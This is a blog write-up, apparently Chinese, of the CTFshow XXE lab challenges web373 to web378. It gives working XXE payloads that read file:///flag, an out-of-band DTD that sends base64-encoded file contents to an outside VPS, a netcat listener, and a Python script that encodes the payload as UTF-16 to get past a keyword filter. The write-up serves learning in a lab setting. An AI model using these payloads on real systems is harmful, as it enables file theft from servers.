CTFshow-web入门-XXE

XXE

有关XXE的讲解可以看我的上一篇文章

web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

代码解释如下:

<?php
// 关闭所有错误输出,避免泄露敏感信息
error_reporting(0);

// 重新启用 libxml 外部实体加载(默认新版 PHP 中此功能被禁用)
// 为了演示 XXE 漏洞,这里设置为 false;生产环境中务必设为 true 或移除相关标志
libxml_disable_entity_loader(false);

// 从输入流读取客户端原始 POST 数据(通常为 XML 内容)
$xmlfile = file_get_contents('php://input');

if (isset($xmlfile)) {
    // 创建一个新的 DOMDocument 实例,用于解析 XML
    $dom = new DOMDocument();

    // 加载 XML,并启用以下两个选项:
    // LIBXML_NOENT   —— 展开实体引用(包括外部实体)
    // LIBXML_DTDLOAD —— 允许加载并处理外部 DTD
    // 这两项组合正是 XXE 漏洞的典型条件
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

    // 将解析后的 DOMDocument 转换为 SimpleXML 对象,方便通过属性访问节点
    $creds = simplexml_import_dom($dom);

    // 读取根元素下 <ctfshow> 节点的文本内容
    $ctfshow = $creds->ctfshow;

    // 将 <ctfshow> 中的内容输出到响应体
    echo $ctfshow;
}

最经典的XXE,没做任何过滤,可以直接读任意文件。

有个疑问,为啥都默认知道flag就在flag文件里?我只能当一个个试出来的了

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///flag">
]>
<root>
    <name>&file;</name>
</root>

通过BP发包

image-20250805221955767

用hackbar也可以

image-20250805222132455

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这一关很明显是没有回显的。这个时候就要采用外带OOB的方式获得回显数据。

首先我们在自己的VPS上创建一个文件test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://116.62.188.166:9999?p=%file;'>">

然后payload是:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://116.62.188.166/test.dtd">
%remote;%int;%send;
]>

同时在VPS上要监听9999端口(注意如果发现一直不成功nc监听没有响应的话,可以去看看服务器安全组有没有放行9999。别随便选了一个端口监听最后发现没放行,我就是这样找半天错误)

nc -lvp 9999

然后便可以用bp发送payload了

image-20250806000204590

这个时候去看nc监听日志

image-20250806000253006

可以发现base64编码后的回显被外带出来了。拿去解码

image-20250806000320490

成功获得flag

web375

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

发现过滤了<\?xml version="1.0",但是我们上一关根本就没加这个。所以跟web378同样的做法即可。

要绕过也很好绕过,在xml与version直接加个空格都可以。

直接用上一关的方式

image-20250806001623150

解码:ctfshow{ca4eb302-965e-40ef-a319-30584ac48afa}

web376

依旧与上一题相同解法

ctfshow{4deae9cc-2a83-4fe1-9318-88c4dfcf4d83}

web377

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

可以看到这一次过滤了http,那么前面的payload就要做变化了。

其实也很好绕过,编码绕过即可如UTF-16,UTF-16BE等

依旧是采用外带的方式,只不过payload通过如下脚本发送:

import requests

url = "http://0e568b40-7105-4e9f-81f1-18ea4c89cb25.challenge.ctf.show/"

payload = """
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://116.62.188.166/test.dtd">
%remote;%int;%send;
]>
"""
head = {"Content-Type": "application/x-www-form-urlencoded"}
r  =  requests.post(url=url,data=payload.encode("utf-16"),headers=head)
print(r.text)

直接运行即可

image-20250807155002488

然后去看nc监听日志

image-20250807155037329

解码就是flag

web378

打开后题目如下

image-20250807155452512

是一个登录框,猜测是基于xml的登录框,随便输点数据抓包看看。

image-20250807161445772

发现确实是通过xml数据登录的。

那我们尝试以下payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

其实就是web373的payload,将file实体引用放在了&file;之间回显。

image-20250807161825946

直接拿到了flag。

也可以看看源码代码:

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }

    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

很明显代码将用户输入的usernamepassword直接拼接进 XML 字符串,没有对用户输入进行任何 XML 特殊字符过滤或转义处理,也没有禁用外部实体。所以导致了XXE漏洞。

XXE章节结束

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注